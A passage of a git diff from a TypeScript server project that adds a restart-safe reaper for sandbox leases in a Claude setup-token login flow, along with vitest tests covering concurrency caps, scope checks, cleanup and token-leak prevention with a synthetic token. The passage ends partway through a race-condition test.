+    const leases = createFakeLeases();
+    const reaper = createSetupTokenReaper({ store, leases, now: () => NOW });
+
+    const result = await reaper.sweep();
+
+    expect(result.released).toBe(0);
+    expect(leases.releaseByIdCalls).toHaveLength(0);
+    expect(store.rows.has("live-1")).toBe(true);
+  });
+
+  it("keeps the record when the release fails, then clears it on the next sweep", async () => {
+    const store = createMemoryStore();
+    store.seed({ sessionId: "orphan-2", leaseId: "lease-orphan-2", state: "failed" });
+    let attempt = 0;
+    const leases = createFakeLeases({
+      releaseImpl: async () => {
+        attempt += 1;
+        if (attempt === 1) throw new Error("provider down");
+      },
+    });
+    const reaper = createSetupTokenReaper({ store, leases, now: () => NOW });
+
+    // First sweep: the release rejects, so the record stays for a retry.
+    const first = await reaper.sweep();
+    expect(first.released).toBe(0);
+    expect(first.failed).toBe(1);
+    expect(store.rows.has("orphan-2")).toBe(true);
+
+    // Second sweep: the release confirms, so the record clears.
+    const second = await reaper.sweep();
+    expect(second.released).toBe(1);
+    expect(second.failed).toBe(0);
+    expect(leases.releaseByIdCalls).toEqual(["lease-orphan-2", "lease-orphan-2"]);
+    expect(store.rows.size).toBe(0);
+  });
+
+  it("reaps every reapable record in one sweep and stays idempotent on the next", async () => {
+    const store = createMemoryStore();
+    store.seed({ sessionId: "orphan-a", leaseId: "lease-a", state: "failed" });
+    store.seed({ sessionId: "orphan-b", leaseId: "lease-b", state: "cancelled" });
+    // A consumed stored claim is reapable through the bound marker.
+    store.seed({ sessionId: "orphan-c", leaseId: "lease-c", state: "stored", deadline: NOW + 60_000, boundAt: 4_000 });
+    const leases = createFakeLeases();
+    const reaper = createSetupTokenReaper({ store, leases, now: () => NOW });
+
+    const first = await reaper.sweep();
+    expect(first.released).toBe(3);
+    expect(store.rows.size).toBe(0);
+
+    // The interval sweep runs over the now-empty store without an error.
+    const second = await reaper.sweep();
+    expect(second.released).toBe(0);
+    expect(second.failed).toBe(0);
+  });
+});
diff --git a/server/src/services/setup-token-reaper.ts b/server/src/services/setup-token-reaper.ts
new file mode 100644
index 00000000000..0a6926bcb3b
--- /dev/null
+++ b/server/src/services/setup-token-reaper.ts
@@ -0,0 +1,87 @@
+import type { Db } from "@paperclipai/db";
+import type { EnvironmentRuntimeService } from "./environment-runtime.js";
+import { environmentService } from "./environments.js";
+import {
+  reapSetupTokenLeases,
+  type SetupTokenCleanupStore,
+  type SetupTokenLeaseManager,
+  type SetupTokenReapResult,
+} from "./setup-token-session.js";
+import {
+  createProductionSetupTokenCleanupStore,
+  createProductionSetupTokenSandboxProvider,
+} from "./setup-token-transport-binding.js";
+
+// The restart-safe cleanup backstop for the Claude setup-token login flow.
+//
+// The in-process five-minute timer in the login-session service stays the
+// primary control. This reaper is the backstop. It runs on server startup and on
+// a fixed interval, so a sandbox lease survives a server restart and a release
+// failure. The reaper reads the durable cleanup store and releases any lease
+// whose session is terminal, past its deadline, or already consumed. It uses the
+// same convention as the Codex device-login reaper, so both flows use one reaper
+// convention.
+//
+// The reaper never records secret data. The durable cleanup record holds only
+// ids, the deadline, the claim marker, and the state. It never holds a URL, a
+// code, a token, or a raw process chunk.
+
+/** The dependencies the standalone reaper needs. The reaper only reads reapable
+ *  records and releases a lease by id, so it takes a store subset and a lease
+ *  releaser, not the full session service. */
+export interface SetupTokenReaperDeps {
+  store: Pick<SetupTokenCleanupStore, "listReapable" | "remove">;
+  leases: Pick<SetupTokenLeaseManager, "releaseById">;
+  now?: () => number;
+  log?: (line: string) => void;
+}
+
+/**
+ * Builds the standalone setup-token reaper. One sweep reaps every reapable
+ * record: it releases the lease and clears the row. A failed release stays
+ * retryable, so the next sweep retries it.
+ */
+export function createSetupTokenReaper(deps: SetupTokenReaperDeps) {
+  const now = deps.now ?? Date.now;
+  async function sweep(): Promise<SetupTokenReapResult> {
+    return reapSetupTokenLeases({ store: deps.store, leases: deps.leases, log: deps.log }, now());
+  }
+  return { sweep };
+}
+
+export type SetupTokenReaper = ReturnType<typeof createSetupTokenReaper>;
+
+// ---------------------------------------------------------------------------
+// The production runtime binding.
+// ---------------------------------------------------------------------------
+
+export interface ProductionSetupTokenReaperDeps {
+  db: Db;
+  environmentRuntime: EnvironmentRuntimeService;
+  log?: (line: string) => void;
+}
+
+/**
+ * Builds the production setup-token reaper. It reads the durable cleanup store
+ * and releases a lease by id through the production sandbox provider. The
+ * provider release resolves the lease and its environment from the database and
+ * tears down the remote sandbox through the driver, so the release frees the
+ * remote sandbox and not only the database row. The reaper never acquires a
+ * lease, so it binds no live pseudo-terminal opener.
+ */
+export function createProductionSetupTokenReaper(
+  deps: ProductionSetupTokenReaperDeps,
+): SetupTokenReaper {
+  const environments = environmentService(deps.db);
+  const sandbox = createProductionSetupTokenSandboxProvider({
+    environments,
+    environmentRuntime: deps.environmentRuntime,
+    log: deps.log,
+  });
+  const store = createProductionSetupTokenCleanupStore(deps.db);
+  return createSetupTokenReaper({
+    store,
+    leases: { releaseById: (leaseId) => sandbox.release(leaseId) },
+    log: deps.log,
+  });
+}
diff --git a/server/src/services/setup-token-session.test.ts b/server/src/services/setup-token-session.test.ts
index 7614d9a807d..5be8887aa79 100644
--- a/server/src/services/setup-token-session.test.ts
+++ b/server/src/services/setup-token-session.test.ts
@@ -1,5 +1,16 @@
-import { describe, expect, it } from "vitest";
+import { randomUUID } from "node:crypto";
+import { afterAll, afterEach, beforeAll, describe, expect, it } from "vitest";
+import { eq, sql } from "drizzle-orm";
 import {
+  adapterAuthSessions,
+  companies,
+  createDb,
+  environments,
+  getEmbeddedPostgresTestSupport,
+  startEmbeddedPostgresTestDatabase,
+} from "@paperclipai/db";
+import {
+  createDbSetupTokenCleanupStore,
   SetupTokenSessionService,
   SetupTokenSessionError,
   assessConfidentialStartup,
@@ -11,6 +22,8 @@ import {
   SETUP_TOKEN_RATE_LIMITED,
   SETUP_TOKEN_CAP_EXCEEDED,
   SETUP_TOKEN_TOKEN_UNAVAILABLE,
+  SETUP_TOKEN_STORAGE_FAILED,
+  type SetupTokenCleanupIdentity,
   type SetupTokenCleanupRecord,
   type SetupTokenCleanupStore,
   type SetupTokenCredentialSink,
@@ -21,6 +34,7 @@ import {
   type SetupTokenLoginProcessFactory,
   type SetupTokenPromptSink,
   type SetupTokenRateLimiter,
+  type SetupTokenSecretWriter,
   type SetupTokenSessionScope,
 } from "./setup-token-session.js";
 import { redactSensitive } from "../middleware/redact-sensitive.js";
@@ -36,7 +50,8 @@ const SYNTH_TOKEN = "sk-ant-oat01-SYNTHETICSYNTHETICSYNTHETIC01";
 const OWNER_SCOPE: SetupTokenSessionScope = {
   companyId: "company-1",
   ownerUserId: "user-1",
-  targetAgentId: "agent-1",
+  adapterType: "claude_local",
+  environmentId: "env-1",
 };
 
 /** A controllable fake login process. It records the call order into `events`. */
@@ -59,8 +74,10 @@ class FakeProcess implements SetupTokenLoginProcess {
   surfacePrompt(url: string): void {
     this.onPrompt({ url });
   }
-  surfaceCredential(token: string): void {
-    this.onCredential(token);
+  // The credential sink is asynchronous: it awaits the owner-bound secret write.
+  // The test awaits this call so the write settles before it asserts.
+  async surfaceCredential(token: string): Promise<void> {
+    await this.onCredential(token);
   }
   finish(outcome: SetupTokenLoginOutcome): void {
     this.resolveDone(outcome);
@@ -103,61 +120,166 @@ class FakeLeaseManager implements SetupTokenLeaseManager {
   }
 }
 
+// A lease manager whose `acquire` stays in flight until the test resolves it.
+// The test uses it to hold the first start suspended on the lease acquire, then
+// prove a concurrent start for the same owner fails closed before it reaches the
+// provider. It can also fail the next acquire, to drive the acquire-failure
+// rollback path.
+class DeferredLeaseManager implements SetupTokenLeaseManager {
+  acquireCalls = 0;
+  released: string[] = [];
+  releaseByIdCalls: string[] = [];
+  failNextAcquire = false;
+  private counter = 0;
+  private readonly pending: Array<{ resolve: (lease: SetupTokenLease) => void; id: string }> = [];
+  async acquire(): Promise<SetupTokenLease> {
+    this.acquireCalls += 1;
+    if (this.failNextAcquire) {
+      this.failNextAcquire = false;
+      throw new Error("lease acquire failed");
+    }
+    const id = `lease-${(this.counter += 1)}`;
+    return new Promise<SetupTokenLease>((resolve) => {
+      this.pending.push({ resolve, id });
+    });
+  }
+  /** Resolves the oldest in-flight acquire with its lease. */
+  resolveNextAcquire(): void {
+    const next = this.pending.shift();
+    if (next) next.resolve({ id: next.id });
+  }
+  /** The count of acquires that are in flight. */
+  pendingCount(): number {
+    return this.pending.length;
+  }
+  async release(lease: SetupTokenLease): Promise<void> {
+    this.released.push(lease.id);
+  }
+  async releaseById(leaseId: string): Promise<void> {
+    this.releaseByIdCalls.push(leaseId);
+    this.released.push(leaseId);
+  }
+}
+
+// Builds the durable-record identity from a session scope and the session id. The
+// fake writers use it to simulate the atomic durable `stored` transition that the
+// production writer performs inside the credential transaction.
+function identityFromScope(scope: SetupTokenSessionScope, sessionId: string): SetupTokenCleanupIdentity {
+  return {
+    sessionId,
+    companyId: scope.companyId,
+    ownerUserId: scope.ownerUserId,
+    adapterType: scope.adapterType,
+  };
+}
+
+function identityMatchesRow(row: SetupTokenCleanupRecord, identity: SetupTokenCleanupIdentity): boolean {
+  return (
+    row.companyId === identity.companyId &&
+    row.ownerUserId === identity.ownerUserId &&
+    row.adapterType === identity.adapterType
+  );
+}
+
 class FakeStore implements SetupTokenCleanupStore {
   rows = new Map<string, SetupTokenCleanupRecord>();
   async record(record: SetupTokenCleanupRecord): Promise<void> {
     this.rows.set(record.sessionId, { ...record });
   }
-  async markState(sessionId: string, state: SetupTokenCleanupRecord["state"]): Promise<void> {
-    const row = this.rows.get(sessionId);
-    if (row) row.state = state;
+  async markState(identity: SetupTokenCleanupIdentity, state: SetupTokenCleanupRecord["state"]): Promise<void> {
+    const row = this.rows.get(identity.sessionId);
+    // The write matches the full owner scope, so it never updates a row by the
+    // session id alone.
+    if (row && identityMatchesRow(row, identity)) row.state = state;
   }
-  async remove(sessionId: string): Promise<void> {
-    this.rows.delete(sessionId);
+  async remove(identity: SetupTokenCleanupIdentity): Promise<void> {
+    // The delete matches the full owner scope, so it never removes a row by the
+    // session id alone.
+    const row = this.rows.get(identity.sessionId);
+    if (row && identityMatchesRow(row, identity)) this.rows.delete(identity.sessionId);
   }
   async listReapable(now: number): Promise<SetupTokenCleanupRecord[]> {
     return [...this.rows.values()].filter(
-      (row) => isTerminalSessionState(row.state) || row.deadline <= now,
+      (row) => isTerminalSessionState(row.state) || row.deadline <= now || row.boundAt !== null,
     );
   }
+  async consumeStoredClaim(identity: SetupTokenCleanupIdentity): Promise<SetupTokenCleanupRecord | null> {
+    const row = this.rows.get(identity.sessionId);
+    if (
+      !row ||
+      !identityMatchesRow(row, identity) ||
+      row.state !== "stored" ||
+      row.boundAt !== null ||
+      row.deadline <= Date.now()
+    ) {
+      return null;
+    }
+    row.boundAt = Date.now();
+    return { ...row };
+  }
 }
 
 function allowAllRateLimiter(): SetupTokenRateLimiter {
   return { consume: () => ({ allowed: true, retryAfterSeconds: 0 }) };
 }
 
-function buildService(overrides: {
+// One recorded owner-bound secret write. The fake writer records only the
+// non-secret ids and the token, so a test can prove the token reached the writer
+// and never the store or a log.
+interface RecordedSecretWrite {
+  scope: SetupTokenSessionScope;
+  sessionId: string;
+  token: string;
+}
+
+function buildService<L extends SetupTokenLeaseManager = FakeLeaseManager>(overrides: {
   events?: string[];
-  leases?: FakeLeaseManager;
+  leases?: L;
   store?: FakeStore;
   rateLimiter?: SetupTokenRateLimiter;
-  caps?: { perOwner: number; perAgent: number; perCompany: number };
+  caps?: { perOwner: number; perCompany: number };
   ttlMs?: number;
   tokenRetentionMs?: number;
   now?: () => number;
+  completeCredential?: SetupTokenSecretWriter;
+  factory?: SetupTokenLoginProcessFactory;
 } = {}) {
   const events = overrides.events ?? [];
   const processes: FakeProcess[] = [];
   let processCounter = 0;
-  const factory: SetupTokenLoginProcessFactory = ({ onPrompt, onCredential }) => {
-    processCounter += 1;
-    const process = new FakeProcess(`p${processCounter}`, onPrompt, onCredential, events);
-    processes.push(process);
-    return process;
-  };
-  const leases = overrides.leases ?? new FakeLeaseManager(events);
+  const factory: SetupTokenLoginProcessFactory =
+    overrides.factory ??
+    (({ onPrompt, onCredential }) => {
+      processCounter += 1;
+      const process = new FakeProcess(`p${processCounter}`, onPrompt, onCredential, events);
+      processes.push(process);
+      return process;
+    });
+  const leases: L = overrides.leases ?? (new FakeLeaseManager(events) as unknown as L);
   const store = overrides.store ?? new FakeStore();
+  const secretWrites: RecordedSecretWrite[] = [];
+  const completeCredential: SetupTokenSecretWriter =
+    overrides.completeCredential ??
+    (async (input) => {
+      secretWrites.push({ scope: input.scope, sessionId: input.sessionId, token: input.token });
+      // Simulate the atomic durable `stored` transition the production writer runs
+      // inside the credential transaction, so the store reflects the claim.
+      await store.markState(identityFromScope(input.scope, input.sessionId), "stored");
+    });
+  const logs: string[] = [];
   const service = new SetupTokenSessionService({
     factory,
     leases,
     store,
+    completeCredential,
     rateLimiter: overrides.rateLimiter ?? allowAllRateLimiter(),
-    caps: overrides.caps ?? { perOwner: 5, perAgent: 5, perCompany: 5 },
+    caps: overrides.caps ?? { perOwner: 5, perCompany: 5 },
     ttlMs: overrides.ttlMs ?? 60_000,
     tokenRetentionMs: overrides.tokenRetentionMs,
     now: overrides.now,
+    log: (line) => logs.push(line),
   });
-  return { service, processes, leases, store, events };
+  return { service, processes, leases, store, events, secretWrites, logs };
 }
 
 describe("SetupTokenSessionService.start", () => {
@@ -196,16 +318,152 @@ describe("SetupTokenSessionService.start", () => {
     });
   });
 
-  it("rejects a caller over the per-owner cap with 429", async () => {
-    const { service } = buildService({ caps: { perOwner: 1, perAgent: 5, perCompany: 5 } });
+  it("rejects a second start on the same company, owner, and adapter slot with 429", async () => {
+    const { service } = buildService({ caps: { perOwner: 1, perCompany: 5 } });
     await service.start(OWNER_SCOPE);
-    await expect(service.start({ ...OWNER_SCOPE, targetAgentId: "agent-2" })).rejects.toMatchObject({
+    // The second start holds the same company, owner, and adapter slot, so it
+    // fails closed with the fixed cap error.
+    await expect(service.start(OWNER_SCOPE)).rejects.toMatchObject({
       status: 429,
       message: SETUP_TOKEN_CAP_EXCEEDED,
     });
   });
 });
 
+describe("SetupTokenSessionService.start cap reservation (concurrency)", () => {
+  const capsPerOwnerOne = { perOwner: 1, perCompany: 5 };
+
+  it("reserves the owner slot synchronously, so a concurrent start fails closed with 429", async () => {
+    const leases = new DeferredLeaseManager();
+    const { service } = buildService({ leases, caps: capsPerOwnerOne });
+
+    // Start the first session. It reserves the owner slot synchronously, then it
+    // suspends on the deferred lease acquire. The acquire reached the provider and
+    // has not resolved yet.
+    const firstStart = service.start(OWNER_SCOPE);
+    await flush();
+    expect(leases.acquireCalls).toBe(1);
+    expect(leases.pendingCount()).toBe(1);
+
+    // The second start for the same owner runs while the first acquire is in
+    // flight. The synchronous reservation already holds the one owner slot, so the
+    // second start fails closed with the fixed 429 cap error before it reaches the
+    // provider. Only one acquire ever reaches the provider.
+    await expect(service.start(OWNER_SCOPE)).rejects.toMatchObject({
+      status: 429,
+      message: SETUP_TOKEN_CAP_EXCEEDED,
+    });
+    expect(leases.acquireCalls).toBe(1);
+
+    // Let the first start finish. It holds the one live session.
+    leases.resolveNextAcquire();
+    const first = await firstStart;
+    expect(first.sessionId).toBeTruthy();
+    expect(service.activeSessionCount()).toBe(1);
+  });
+
+  it("releases the owner reservation after cleanup, so the owner can start again", async () => {
+    const leases = new DeferredLeaseManager();
+    const { service } = buildService({ leases, caps: capsPerOwnerOne });
+
+    const firstStart = service.start(OWNER_SCOPE);
+    await flush();
+    leases.resolveNextAcquire();
+    const first = await firstStart;
+
+    // Cancel the live session. The cleanup releases the owner reservation.
+    await service.cancel(first.sessionId, OWNER_SCOPE);
+    expect(service.activeSessionCount()).toBe(0);
+
+    // A new start for the same owner reserves the slot again and starts, so the
+    // cleanup released the reservation exactly once and left no slot held.
+    const secondStart = service.start(OWNER_SCOPE);
+    await flush();
+    leases.resolveNextAcquire();
+    const second = await secondStart;
+    expect(second.sessionId).toBeTruthy();
+    expect(second.sessionId).not.toBe(first.sessionId);
+    expect(service.activeSessionCount()).toBe(1);
+  });
+
+  it("releases the owner reservation when the lease acquire fails, so a retry can start", async () => {
+    const leases = new DeferredLeaseManager();
+    leases.failNextAcquire = true;
+    const { service } = buildService({ leases, caps: capsPerOwnerOne });
+
+    // The first start reserves the owner slot, then the lease acquire rejects. The
+    // failure path rolls back the reservation and holds no durable state.
+    await expect(service.start(OWNER_SCOPE)).rejects.toThrow("lease acquire failed");
+    expect(service.activeSessionCount()).toBe(0);
+    expect(leases.released).toEqual([]);
+
+    // A retry for the same owner reserves the slot again and starts. The failed
+    // start left no reservation behind.
+    const retry = service.start(OWNER_SCOPE);
+    await flush();
+    expect(leases.acquireCalls).toBe(2);
+    leases.resolveNextAcquire();
+    const result = await retry;
+    expect(result.sessionId).toBeTruthy();
+    expect(service.activeSessionCount()).toBe(1);
+  });
+
+  it("releases the reservation and the lease when the durable record write fails", async () => {
+    const leases = new FakeLeaseManager();
+    const store = new FakeStore();
+    let failRecord = true;
+    const recordOriginal = store.record.bind(store);
+    store.record = async (record) => {
+      if (failRecord) {
+        failRecord = false;
+        throw new Error("durable write failed");
+      }
+      return recordOriginal(record);
+    };
+    const { service } = buildService({ leases, store, caps: capsPerOwnerOne });
+
+    // The durable write fails. The failure path releases the acquired lease and
+    // rolls back the reservation.
+    await expect(service.start(OWNER_SCOPE)).rejects.toThrow("durable write failed");
+    expect(leases.released).toEqual(["lease-1"]);
+    expect(service.activeSessionCount()).toBe(0);
+
+    // The reservation rolled back, so a retry for the same owner starts.
+    const retry = await service.start(OWNER_SCOPE);
+    expect(retry.sessionId).toBeTruthy();
+    expect(service.activeSessionCount()).toBe(1);
+  });
+
+  it("releases the reservation and the lease when the factory throws, so a retry can start", async () => {
+    const leases = new FakeLeaseManager();
+    let failFactory = true;
+    const factory: SetupTokenLoginProcessFactory = () => {
+      if (failFactory) {
+        failFactory = false;
+        throw new Error("factory failed");
+      }
+      // A minimal live process for the retry. It never ends on its own.
+      return {
+        done: new Promise<SetupTokenLoginOutcome>(() => {}),
+        submitCode: () => {},
+        stop: () => {},
+      };
+    };
+    const { service } = buildService({ leases, factory, caps: capsPerOwnerOne });
+
+    // The factory throws. The start releases the lease, drops the durable record,
+    // rolls back the reservation, and returns the fixed 503 start error.
+    await expect(service.start(OWNER_SCOPE)).rejects.toMatchObject({ status: 503 });
+    expect(leases.released).toEqual(["lease-1"]);
+    expect(service.activeSessionCount()).toBe(0);
+
+    // The reservation rolled back, so a retry for the same owner starts.
+    const retry = await service.start(OWNER_SCOPE);
+    expect(retry.sessionId).toBeTruthy();
+    expect(service.activeSessionCount()).toBe(1);
+  });
+});
+
 describe("SetupTokenSessionService.readPrompt", () => {
   it("returns the full login URL to the authorized owner once the prompt surfaces", async () => {
     const { service, processes } = buildService();
@@ -247,17 +505,23 @@ describe("SetupTokenSessionService.submitCode", () => {
 describe("SetupTokenSessionService authorization boundary", () => {
   const crossCompany: SetupTokenSessionScope = { ...OWNER_SCOPE, companyId: "company-2" };
   const sameCompanyOtherUser: SetupTokenSessionScope = { ...OWNER_SCOPE, ownerUserId: "user-9" };
-  const otherAgent: SetupTokenSessionScope = { ...OWNER_SCOPE, targetAgentId: "agent-9" };
+  const otherAdapter: SetupTokenSessionScope = { ...OWNER_SCOPE, adapterType: "codex_local" };
 
   it("returns the same not-found for a cross-scope caller on every operation", async () => {
     const { service, processes } = buildService();
     const { sessionId } = await service.start(OWNER_SCOPE);
     processes[0].surfacePrompt(FULL_LOGIN_URL);
 
-    for (const scope of [crossCompany, sameCompanyOtherUser, otherAgent]) {
+    // The scope match rejects a mismatch in any of the three identity fields:
+    // the company, the owner, and the adapter.
+    for (const scope of [
+      crossCompany,
+      sameCompanyOtherUser,
+      otherAdapter,
+    ]) {
       expect(() => service.readPrompt(sessionId, scope)).toThrow(SETUP_TOKEN_SESSION_NOT_FOUND);
       expect(() => service.submitCode(sessionId, scope, "code")).toThrow(SETUP_TOKEN_SESSION_NOT_FOUND);
-      expect(() => service.receiveToken(sessionId, scope)).toThrow(SETUP_TOKEN_SESSION_NOT_FOUND);
+      expect(() => service.completeSession(sessionId, scope)).toThrow(SETUP_TOKEN_SESSION_NOT_FOUND);
       await expect(service.cancel(sessionId, scope)).rejects.toThrow(SETUP_TOKEN_SESSION_NOT_FOUND);
       await expect(service.expire(sessionId, scope)).rejects.toThrow(SETUP_TOKEN_SESSION_NOT_FOUND);
     }
@@ -269,6 +533,45 @@ describe("SetupTokenSessionService authorization boundary", () => {
   });
 });
 
+describe("SetupTokenSessionService company-and-environment scope", () => {
+  const COMPANY_SCOPE: SetupTokenSessionScope = OWNER_SCOPE;
+  const companyKey = {
+    companyId: COMPANY_SCOPE.companyId,
+    ownerUserId: COMPANY_SCOPE.ownerUserId,
+    adapterType: COMPANY_SCOPE.adapterType,
+  };
+
+  it("resolves a session by the company key and returns the intrinsic environment", async () => {
+    const { service, processes } = buildService();
+    const { sessionId } = await service.start(COMPANY_SCOPE);
+    processes[0].surfacePrompt(FULL_LOGIN_URL);
+
+    const scope = service.resolveCompanyScope(sessionId, companyKey);
+    expect(scope.environmentId).toBe(COMPANY_SCOPE.environmentId);
+
+    const descriptor = service.describeOwned(sessionId, scope);
+    expect(descriptor.sessionId).toBe(sessionId);
+    expect(descriptor.environmentId).toBe(COMPANY_SCOPE.environmentId);
+    expect(descriptor.loginUrl).toBe(FULL_LOGIN_URL);
+  });
+
+  it("returns the same not-found for a foreign company key", async () => {
+    const { service } = buildService();
+    const { sessionId } = await service.start(COMPANY_SCOPE);
+    // A cross-company, a cross-owner, and a cross-adapter key each return the
+    // same not-found error as a missing session.
+    for (const key of [
+      { ...companyKey, companyId: "company-2" },
+      { ...companyKey, ownerUserId: "user-9" },
+      { ...companyKey, adapterType: "codex_local" },
+    ]) {
+      expect(() => service.resolveCompanyScope(sessionId, key)).toThrow(
+        SETUP_TOKEN_SESSION_NOT_FOUND,
+      );
+    }
+  });
+});
+
 describe("SetupTokenSessionService cleanup order", () => {
   it("stops the direct child before the lease release on cancel", async () => {
     const events: string[] = [];
@@ -313,10 +616,12 @@ describe("SetupTokenSessionService durable reaper", () => {
       sessionId: "orphan-1",
       companyId: "company-1",
       ownerUserId: "user-1",
-      targetAgentId: "agent-1",
+      adapterType: "claude_local",
+      environmentId: "env-1",
       leaseId: "lease-orphan",
       deadline: 1_000,
       state: "awaiting_code",
+      boundAt: null,
     });
     const { service } = buildService({ store, leases, now: () => 5_000 });
     const summary = await service.reap(5_000);
@@ -331,10 +636,12 @@ describe("SetupTokenSessionService durable reaper", () => {
       sessionId: "orphan-2",
       companyId: "company-1",
       ownerUserId: "user-1",
-      targetAgentId: "agent-1",
+      adapterType: "claude_local",
+      environmentId: "env-1",
       leaseId: "lease-orphan-2",
       deadline: 1_000,
       state: "failed",
+      boundAt: null,
     });
     const leases = new FakeLeaseManager();
     leases.releaseById = async () => {
@@ -347,43 +654,228 @@ describe("SetupTokenSessionService durable reaper", () => {
   });
 });
 
-describe("SetupTokenSessionService.receiveToken", () => {
-  it("returns the token once to the authorized owner after a successful login", async () => {
-    const { service, processes, leases } = buildService();
+describe("SetupTokenSessionService.completeSession", () => {
+  it("returns the non-secret storedSessionId after a successful secret write, and no token", async () => {
+    const { service, processes, leases, store, secretWrites, logs } = buildService();
     const { sessionId } = await service.start(OWNER_SCOPE);
     processes[0].surfacePrompt(FULL_LOGIN_URL);
     service.submitCode(sessionId, OWNER_SCOPE, "code");
-    processes[0].surfaceCredential(SYNTH_TOKEN);
+    // The session awaits the owner-bound secret write before it completes.
+    await processes[0].surfaceCredential(SYNTH_TOKEN);
     processes[0].finish("success");
     await new Promise((resolve) => setImmediate(resolve));
-    // The service releases the sandbox lease at once, but it retains the token
-    // for the owner to receive it one time.
+
+    // The token reached the owner-bound writer, once, with the owner scope.
+    expect(secretWrites).toEqual([{ scope: OWNER_SCOPE, sessionId, token: SYNTH_TOKEN }]);
+    // The service releases the sandbox lease at once.
     expect(leases.released).toEqual(["lease-1"]);
-    const received = service.receiveToken(sessionId, OWNER_SCOPE);
-    expect(received.token).toBe(SYNTH_TOKEN);
-    // One-shot: a second receive returns the same not-found as a missing session.
-    expect(() => service.receiveToken(sessionId, OWNER_SCOPE)).toThrow(SETUP_TOKEN_SESSION_NOT_FOUND);
+    // The durable row stays as the stored-session claim, not removed.
+    expect(store.rows.get(sessionId)?.state).toBe("stored");
+
+    // The completion returns the non-secret storedSessionId and carries no token.
+    const completion = service.completeSession(sessionId, OWNER_SCOPE);
+    expect(completion.storedSessionId).toBe(sessionId);
+    expect(completion).not.toHaveProperty("token");
+
+    // No response, log, or durable record contains the token after success.
+    const haystack = `${logs.join("\n")}\n${JSON.stringify(completion)}\n${JSON.stringify([
+      ...store.rows.values(),
+    ])}`;
+    expect(haystack).not.toContain(SYNTH_TOKEN);
   });
 
-  it("returns the fixed unavailable error before the token is delivered", async () => {
+  it("returns the fixed unavailable error before the secret write completes", async () => {
     const { service, processes } = buildService();
     const { sessionId } = await service.start(OWNER_SCOPE);
     processes[0].surfacePrompt(FULL_LOGIN_URL);
     service.submitCode(sessionId, OWNER_SCOPE, "code");
-    // The login has not delivered the token yet, so receive-token is unavailable.
-    expect(() => service.receiveToken(sessionId, OWNER_SCOPE)).toThrow(SETUP_TOKEN_TOKEN_UNAVAILABLE);
+    // The secret write has not run, so the completion is unavailable.
+    expect(() => service.completeSession(sessionId, OWNER_SCOPE)).toThrow(SETUP_TOKEN_TOKEN_UNAVAILABLE);
   });
 
-  it("purges the retained token when the retention window ends", async () => {
+  it("reaches failed with no binding and no completion when the secret write errors", async () => {
+    const store = new FakeStore();
+    const completeCredential: SetupTokenSecretWriter = async () => {
+      throw new Error("storage down");
+    };
+    const { service, processes, leases, logs } = buildService({ store, completeCredential });
+    const { sessionId } = await service.start(OWNER_SCOPE);
+    processes[0].surfacePrompt(FULL_LOGIN_URL);
+    service.submitCode(sessionId, OWNER_SCOPE, "code");
+
+    // The sink rejects with the fixed, non-secret storage error. It does not
+    // swallow the failure.
+    await expect(processes[0].surfaceCredential(SYNTH_TOKEN)).rejects.toMatchObject({
+      message: SETUP_TOKEN_STORAGE_FAILED,
+    });
+    // Let the terminal-state handler run.
+    processes[0].finish("failure");
+    await new Promise((resolve) => setImmediate(resolve));
+
+    // The session failed: it holds no live session and released the lease.
+    expect(service.activeSessionCount()).toBe(0);
+    expect(leases.released).toEqual(["lease-1"]);
+    // No stored-session claim exists: the durable row never reached stored.
+    expect(store.rows.has(sessionId)).toBe(false);
+    // The completion is gone, so a read returns the same not-found error.
+    expect(() => service.completeSession(sessionId, OWNER_SCOPE)).toThrow(SETUP_TOKEN_SESSION_NOT_FOUND);
+    // No log line contains the token after the failure.
+    expect(logs.join("\n")).not.toContain(SYNTH_TOKEN);
+  });
+
+  it("purges the retained completion when the retention window ends", async () => {
     const { service, processes } = buildService({ tokenRetentionMs: 5 });
     const { sessionId } = await service.start(OWNER_SCOPE);
     processes[0].surfacePrompt(FULL_LOGIN_URL);
     service.submitCode(sessionId, OWNER_SCOPE, "code");
-    processes[0].surfaceCredential(SYNTH_TOKEN);
+    await processes[0].surfaceCredential(SYNTH_TOKEN);
     processes[0].finish("success");
     await new Promise((resolve) => setTimeout(resolve, 20));
-    // The retention timer purged the token, so the session is gone.
-    expect(() => service.receiveToken(sessionId, OWNER_SCOPE)).toThrow(SETUP_TOKEN_SESSION_NOT_FOUND);
+    // The retention timer dropped the in-memory session, so a read is not found.
+    expect(() => service.completeSession(sessionId, OWNER_SCOPE)).toThrow(SETUP_TOKEN_SESSION_NOT_FOUND);
+  });
+});
+
+// A deferred owner-bound secret writer. The test controls when the write
+// settles, so it can hold the write in flight and drive a cancel or an expiry
+// into the exact window that used to race the write. It records only the
+// non-secret ids and the token, and it counts how many times the writer started.
+function buildDeferredWriter(store: FakeStore) {
+  const calls: RecordedSecretWrite[] = [];
+  let started = 0;
+  let pendingInput: { scope: SetupTokenSessionScope; sessionId: string } | null = null;
+  let resolveWrite: (() => void) | null = null;
+  let rejectWrite: ((error: Error) => void) | null = null;
+  const writer: SetupTokenSecretWriter = (input) => {
+    started += 1;
+    pendingInput = { scope: input.scope, sessionId: input.sessionId };
+    calls.push({ scope: input.scope, sessionId: input.sessionId, token: input.token });
+    return new Promise<void>((resolve, reject) => {
+      resolveWrite = resolve;
+      rejectWrite = reject;
+    });
+  };
+  return {
+    writer,
+    calls,
+    startedCount: () => started,
+    // The commit resolves the write. It first simulates the atomic durable
+    // `stored` transition the production writer runs inside the same transaction.
+    resolve: async () => {
+      if (pendingInput) {
+        await store.markState(identityFromScope(pendingInput.scope, pendingInput.sessionId), "stored");
+      }
+      resolveWrite?.();
+    },
+    reject: () => rejectWrite?.(new Error("storage down")),
+  };
+}
+
+// Yields to the microtask queue, so a scheduled sink or lock step can run.
+const flush = () => new Promise((resolve) => setImmediate(resolve));
+
+describe("SetupTokenSessionService terminal-race credential write", () => {
+  for (const variant of [
+    { label: "cancel", run: (service: SetupTokenSessionService, sessionId: string) => service.cancel(sessionId, OWNER_SCOPE), terminalState: "cancelled" as const },
+    { label: "expiry", run: (service: SetupTokenSessionService, sessionId: string) => service.expire(sessionId, OWNER_SCOPE), terminalState: "timed_out" as const },
+  ]) {
+    it(`writes no secret when a ${variant.label} wins the race, and leaves no stored claim`, async () => {
+      const store = new FakeStore();
+      const deferred = buildDeferredWriter(store);
+      const { service, processes, leases } = buildService({ store, completeCredential: deferred.writer });
+      const { sessionId } = await service.start(OWNER_SCOPE);
+      processes[0].surfacePrompt(FULL_LOGIN_URL);
+      service.submitCode(sessionId, OWNER_SCOPE, "code");
+
